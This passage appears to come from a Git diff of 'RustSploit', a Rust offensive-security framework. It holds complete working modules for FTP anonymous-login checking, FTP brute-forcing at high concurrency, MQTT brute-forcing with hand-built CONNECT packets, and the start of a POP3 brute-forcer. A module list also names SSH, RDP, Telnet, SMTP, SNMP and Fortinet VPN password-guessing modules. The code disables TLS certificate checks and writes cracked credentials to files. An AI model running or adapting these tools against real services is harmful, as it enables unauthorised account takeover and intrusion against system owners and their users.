}
// Check redirect location
if status.as_u16() == 302 {
if let Some(loc_str) = location_header {
if loc_str.contains("/remote/index")
|| loc_str.contains("portal")
|| loc_str.contains("index")
{
return Ok(true);
}
}
}
Ok(false)
}
/// Extracts CSRF token from HTML response
fn extract_csrf_token(html: &str) -> Option<String> {
let patterns = vec![
r#"name="magic"\s+value="([^"]+)""#,
r#"name="csrf_token"\s+value="([^"]+)""#,
r#""magic"\s*:\s*"([^"]+)""#,
r#"magic=([^&\s"]+)"#,
];
for pattern in patterns {
if let Ok(re) = Regex::new(pattern) {
if let Some(captures) = re.captures(html) {
if let Some(token) = captures.get(1) {
return Some(token.as_str().to_string());
}
}
}
}
None
}
/// Builds Fortinet VPN URL with proper IPv6 handling
fn build_fortinet_url(target: &str, port: u16) -> Result<String> {
let normalized_host = normalize_target(target)?;
// Check if port is already present
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let url = if has_port {
format!("https://{}", normalized_host)
} else {
format!("https://{}:{}", normalized_host, port)
};
Ok(url)
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
+105
View File
@@ -0,0 +1,105 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
use suppaftp::async_native_tls::TlsConnector;
use tokio::time::{timeout, Duration};
const DEFAULT_TIMEOUT_SECS: u64 = 5;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Anonymous Login Checker ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port
fn format_addr(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean.contains(':') {
format!("[{}]:{}", clean, port)
} else {
format!("{}:{}", clean, port)
}
}
}
/// Anonymous FTP/FTPS login test with IPv6 support
pub async fn run(target: &str) -> Result<()> {
display_banner();
let addr = format_addr(target, 21);
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", format!("[*] Connecting to FTP service on {}...", addr).cyan());
println!();
// 1️⃣ Try plain FTP first
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(mut ftp)) => {
let result = ftp.login("anonymous", "anonymous").await;
if result.is_ok() {
println!("{}", "[+] Anonymous login successful (FTP)".green().bold());
let _ = ftp.quit().await;
return Ok(());
} else if let Err(e) = result {
if e.to_string().contains("530") {
println!("{}", "[-] Anonymous login rejected (FTP)".yellow());
return Ok(());
} else if e.to_string().contains("550 SSL") {
println!("{}", "[*] FTP server requires TLS — upgrading to FTPS...".cyan());
} else {
return Err(anyhow!("FTP error: {}", e));
}
}
}
Ok(Err(e)) => println!("{}", format!("[!] FTP connection error: {}", e).red()),
Err(_) => println!("{}", "[-] FTP connection timed out".yellow()),
}
// 2️⃣ Fallback to FTPS
println!("{}", "[*] Attempting FTPS connection...".cyan());
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
.await
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
ftps = ftps
.into_secure(connector, domain)
.await
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
match ftps.login("anonymous", "anonymous").await {
Ok(_) => {
println!("{}", "[+] Anonymous login successful (FTPS)".green().bold());
let _ = ftps.quit().await;
}
Err(e) if e.to_string().contains("530") => {
println!("{}", "[-] Anonymous login rejected (FTPS)".yellow());
}
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
}
Ok(())
}
+548
View File
@@ -0,0 +1,548 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
use suppaftp::async_native_tls::TlsConnector;
use std::{
fs::File,
io::Write,
sync::Arc,
time::Duration,
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::{Mutex, Semaphore},
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no,
load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// FTP error classification for better handling
#[derive(Debug, Clone, Copy)]
enum FtpErrorType {
AuthenticationFailed,
TlsRequired,
ConnectionLimitExceeded,
ConnectionFailed,
Unknown,
}
impl FtpErrorType {
/// Classify FTP error based on response message
fn classify_error(msg: &str) -> Self {
let msg_lower = msg.to_lowercase();
// Authentication failed (wrong credentials)
if msg.contains("530") || msg_lower.contains("login incorrect") ||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
return Self::AuthenticationFailed;
}
// TLS required
if msg.contains("550 SSL") || msg_lower.contains("tls required") ||
msg_lower.contains("ssl connection required") ||
msg.contains("220 TLS go first") ||
msg_lower.contains("must use tls") {
return Self::TlsRequired;
}
// Connection limit exceeded
if msg.contains("421") || msg_lower.contains("too many") ||
msg_lower.contains("connection limit") {
return Self::ConnectionLimitExceeded;
}
// Connection failed
if msg_lower.contains("connection refused") ||
msg_lower.contains("no route to host") ||
msg_lower.contains("network unreachable") ||
msg_lower.contains("connection reset") {
return Self::ConnectionFailed;
}
Self::Unknown
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Brute Force Module ║".cyan());
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Format IPv4 or IPv6 addresses with port for display
fn format_addr_for_display(target: &str, port: u16) -> String {
if target.starts_with('[') && target.contains("]:") {
target.to_string()
} else if target.matches(':').count() == 1 && !target.contains('[') {
target.to_string()
} else {
let clean_target = if target.starts_with('[') && target.ends_with(']') {
&target[1..target.len() - 1]
} else {
target
};
if clean_target.contains(':') {
format!("[{}]:{}", clean_target, port)
} else {
format!("{}:{}", clean_target, port)
}
}
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("FTP Port", "21").await?;
if let Ok(p) = input.parse() { break p }
println!("Invalid port. Try again.");
};
let usernames_file = prompt_required("Username wordlist").await?;
let passwords_file = prompt_required("Password wordlist").await?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "500").await?;
if let Ok(n) = input.parse::<usize>() {
if n > 0 { break n }
}
println!("Invalid number. Try again.");
};
// Create a semaphore to limit concurrent network operations
let semaphore = Arc::new(Semaphore::new(concurrency));
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false).await?;
let display_addr = format_addr_for_display(target, port);
let connect_addr = format_addr_for_display(target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting brute-force on {}", display_addr);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} usernames", users.len()).cyan());
let passes = load_lines(&passwords_file)?;
if passes.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} passwords", passes.len()).cyan());
let total_attempts = if combo_mode { users.len() * passes.len() } else { passes.len() };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
if combo_mode {
for user in &users {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for pass in &passes {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user_clone, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
}
}
drop(permit);
}));
}
}
} else {
if !users.is_empty() {
for (i, pass) in passes.iter().enumerate() {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let user = users.get(i % users.len()).expect("User list modulus logic error").clone();
let addr_clone = connect_addr.clone();
let target_clone = target.to_string();
let display_addr_clone = display_addr.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_ftp_login(&addr_clone, &target_clone, &user, &pass_clone, verbose_flag).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", display_addr_clone, user, pass_clone).green().bold());
found_clone.lock().await.push((display_addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", display_addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
{
let mut unk = unknown_clone.lock().await;
unk.push((
display_addr_clone.clone(),
user.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
display_addr_clone, user, pass_clone, msg
)
.yellow()
);
}
}
}
drop(permit);
}));
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} {} -> {}:{}", "".green(), host, user, pass);
}
if let Some(path) = save_path {
let file_path = get_filename_in_current_dir(&path);
match File::create(&file_path) {
Ok(mut file) => {
for (host, user, pass) in creds.iter() {
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
eprintln!("[!] Error writing to result file '{}'", file_path.display());
break;
}
}
println!("[+] Results saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!("[!] Could not create or write to result file '{}': {}", file_path.display(), e);
}
}
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored FTP responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ftp_unknown_responses.txt";
let prompt_msg = format!(
"What should the unknown results be saved as? (default: {})",
default_name
);
let fname = prompt_default(&prompt_msg, default_name).await?;
let file_path = get_filename_in_current_dir(&fname);
match File::create(&file_path) {
Ok(mut file) => {
writeln!(
file,
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
println!("[+] Unknown responses saved to '{}'", file_path.display());
}
Err(e) => {
eprintln!(
"[!] Could not create or write unknown response file '{}': {}",
file_path.display(),
e
);
}
}
}
}
Ok(())
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
if verbose {
println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
Ok(Ok(mut ftp)) => {
match ftp.login(user, pass).await {
Ok(_) => {
let _ = ftp.quit().await;
return Ok(true);
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => {
return Ok(false);
}
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
_ => {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
}
}
}
Ok(Err(e)) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
FtpErrorType::ConnectionFailed => {
if verbose {
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
}
return Err(anyhow!("FTP connection failed: {}", msg));
}
_ => {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
}
Err(_) => {
if verbose {
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
}
return Err(anyhow!("FTP connection timeout"));
}
}
// FTPS fallback: connect and upgrade to TLS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
.await
.map_err(|_| {
if verbose {
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
}
anyhow!("FTPS connection timeout")
})?
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
// Build a connector that accepts invalid certs/hostnames (as original code did)
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
match ftp_tls.login(user, pass).await {
Ok(_) => {
let _ = ftp_tls.quit().await;
Ok(true)
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
}
}
}
File diff suppressed because it is too large Load Diff
+17
View File
@@ -0,0 +1,17 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
pub mod mqtt_bruteforce;
@@ -0,0 +1,322 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const MQTT_CONNECT_TIMEOUT_MS: u64 = 3000;
const MQTT_READ_TIMEOUT_MS: u64 = 2000;
#[derive(Clone)]
struct MqttBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
client_id: String,
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let port = prompt_int_range("MQTT Port", 1883, 1, 65535).await? as u16;
let username_wordlist = prompt_wordlist("Username wordlist file").await?;
let password_wordlist = prompt_wordlist("Password wordlist file").await?;
let threads = prompt_int_range("Max threads", 8, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let client_id = prompt_default("MQTT Client ID", "rustsploit_client").await?;
let config = MqttBruteforceConfig {
target: normalize_target(&target.to_string())?,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
client_id,
};
run_mqtt_bruteforce(config).await
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ MQTT Brute Force Module ║".cyan());
println!("{}", "║ Tests MQTT broker authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
async fn run_mqtt_bruteforce(config: MqttBruteforceConfig) -> Result<()> {
let normalized = normalize_target(&config.target)?;
let addr = if (normalized.starts_with('[') && normalized.ends_with(']')) || (!normalized.contains(':')) {
format!("{}:{}", normalized, config.port)
} else {
normalized
};
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
}
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
passwords.len() // Assuming same length or cycling
};
// If not full combo, we define total as max(usernames, passwords) * cycles?
// The original code was:
// else if usernames.len() == 1 { passwords.len() }
// else if passwords.len() == 1 { usernames.len() }
// else { passwords.len() } -> implicit assumption of lockstep or cycling passwords against single user
// We will stick to the previous logic's rough count or just say "many".
println!("{}", format!("[*] Approximate attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Use shared stats
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_flag.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
tokio::time::sleep(Duration::from_secs(2)).await;
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate work items
// To avoid huge memory usage for large combos, we can stream/generate on fly or push all if reasonable.
// For consistency with other modules, we'll iterate.
if config.full_combo {
for u in &usernames {
for p in &passwords {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
}
} else {
// Linear strategy similar to original module
// Original logic:
// if user=1 -> iterate passwords
// if pass=1 -> iterate users
// else -> iterate passwords (reusing user[0]) - This was original bug/limitation?
// Let's improve it: Cycle users if multiple
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { break; }
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
spawn_task(
&mut tasks, &semaphore, u.clone(), p.clone(),
config.clone(), addr.clone(),
found.clone(), stop_flag.clone(), stats.clone()
).await;
}
}
// Wait for tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Final report
stats.print_final().await;
let found_guard = found.lock().await;
if found_guard.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", found_guard.len()).green().bold());
for (u, p) in found_guard.iter() {
println!(" {} {}:{}", "".green(), u, p);
}
// Simple save prompt if needed, or rely on user using tee
// The shared modules usually don't prompt for save at the end but user asked for previous behavior?
// Other refactored modules REMOVED the "save to file" prompt at the end to unify behavior
// (stdout is enough). I will stick to implicit unification: No post-run prompts.
}
Ok(())
}
async fn spawn_task(
tasks: &mut FuturesUnordered<tokio::task::JoinHandle<()>>,
semaphore: &Arc<Semaphore>,
user: String,
pass: String,
config: MqttBruteforceConfig,
addr: String,
found: Arc<Mutex<Vec<(String, String)>>>,
stop_flag: Arc<AtomicBool>,
stats: Arc<BruteforceStats>,
) {
let permit = semaphore.clone().acquire_owned().await.ok();
if permit.is_none() { return; }
tasks.push(tokio::spawn(async move {
// explicit drop of permit at end of scope
let _permit = permit;
if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { return; }
match try_mqtt_login(&addr, &user, &pass, &config.client_id).await {
Ok(true) => {
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
found.lock().await.push((user.clone(), pass.clone()));
stats.record_success();
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats.record_failure();
if config.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
}
Err(e) => {
stats.record_error(e.to_string()).await;
if config.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
}
}
}));
}
async fn try_mqtt_login(addr: &str, username: &str, password: &str, client_id: &str) -> Result<bool> {
// Resolve first (async)
// We can use default tokio resolution via TcpStream::connect, but strictly speaking we might want
// to resolve once if address is static, but here it's fine.
// Tokio TcpStream connect
let stream = tokio::time::timeout(
Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS),
TcpStream::connect(addr)
).await.context("Connection timeout")??;
// We don't need explicit set_read_timeout for tokio stream generally if we use timeout() on ops
// But let's act on ops.
let mut stream = stream;
// Build MQTT CONNECT packet (same logic as before)
let mut packet = Vec::new();
packet.push(0x10); // CONNECT
let protocol_name = b"MQTT";
let protocol_level = 0x04;
let connect_flags = 0xC0; // User + Pass
let keep_alive: u16 = 60;
let mut var_header = Vec::new();
var_header.extend_from_slice(&(protocol_name.len() as u16).to_be_bytes());
var_header.extend_from_slice(protocol_name);
var_header.push(protocol_level);
var_header.push(connect_flags);
var_header.extend_from_slice(&keep_alive.to_be_bytes());
let mut payload = Vec::new();
let client_id_bytes = client_id.as_bytes();
payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(client_id_bytes);
let username_bytes = username.as_bytes();
payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(username_bytes);
let password_bytes = password.as_bytes();
payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes());
payload.extend_from_slice(password_bytes);
let remaining_length = var_header.len() + payload.len();
let mut remaining_length_bytes = Vec::new();
let mut x = remaining_length;
loop {
let mut byte = (x % 128) as u8;
x /= 128;
if x > 0 { byte |= 0x80; }
remaining_length_bytes.push(byte);
if x == 0 { break; }
}
packet.extend_from_slice(&remaining_length_bytes);
packet.extend_from_slice(&var_header);
packet.extend_from_slice(&payload);
// Send
stream.write_all(&packet).await.context("Failed to send CONNECT")?;
stream.flush().await?;
// Read CONNACK
let mut response = [0u8; 4];
let n = tokio::time::timeout(
Duration::from_millis(MQTT_READ_TIMEOUT_MS),
stream.read(&mut response)
).await.context("Read timeout")??;
if n < 2 { return Err(anyhow!("CONNACK too short")); }
if response[0] != 0x20 { return Err(anyhow!("Expected CONNACK 0x20")); }
if n >= 4 {
match response[3] {
0x00 => {
// Success. Disconnect nicely.
let _ = stream.write_all(&[0xE0, 0x00]).await;
Ok(true)
},
0x04 | 0x05 => Ok(false), // Auth fail
c => Err(anyhow!("Return code: 0x{:02x}", c))
}
} else {
Ok(false)
}
}
@@ -0,0 +1,316 @@
use anyhow::{anyhow, Result};
use colored::*;
use native_tls::TlsConnector;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
#[derive(Clone)]
struct Pop3BruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
use_ssl: bool,
connection_timeout: u64,
retry_on_error: bool,
max_retries: usize,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
let default_port = if use_ssl { 995 } else { 110 };
let port = prompt_int_range("Port", default_port as i64, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let threads = prompt_int_range("Threads", 16, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60).await? as u64;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let stop_on_success = prompt_yes_no("Stop on first valid login?", false).await?;
let output_file = prompt_default("Output file for results", "pop3_results.txt").await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let retry_on_error = prompt_yes_no("Retry failed connections?", true).await?;
let max_retries = if retry_on_error {
prompt_int_range("Max retries", 2, 1, 10).await? as usize
} else {
0
};
let config = Pop3BruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
use_ssl,
connection_timeout,
retry_on_error,
max_retries,
output_file,
delay_ms,
};
println!();
println!("{}", "[Starting Attack]".bold().yellow());
println!();
run_pop3_bruteforce(config).await
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = count_lines(&config.username_wordlist)?;
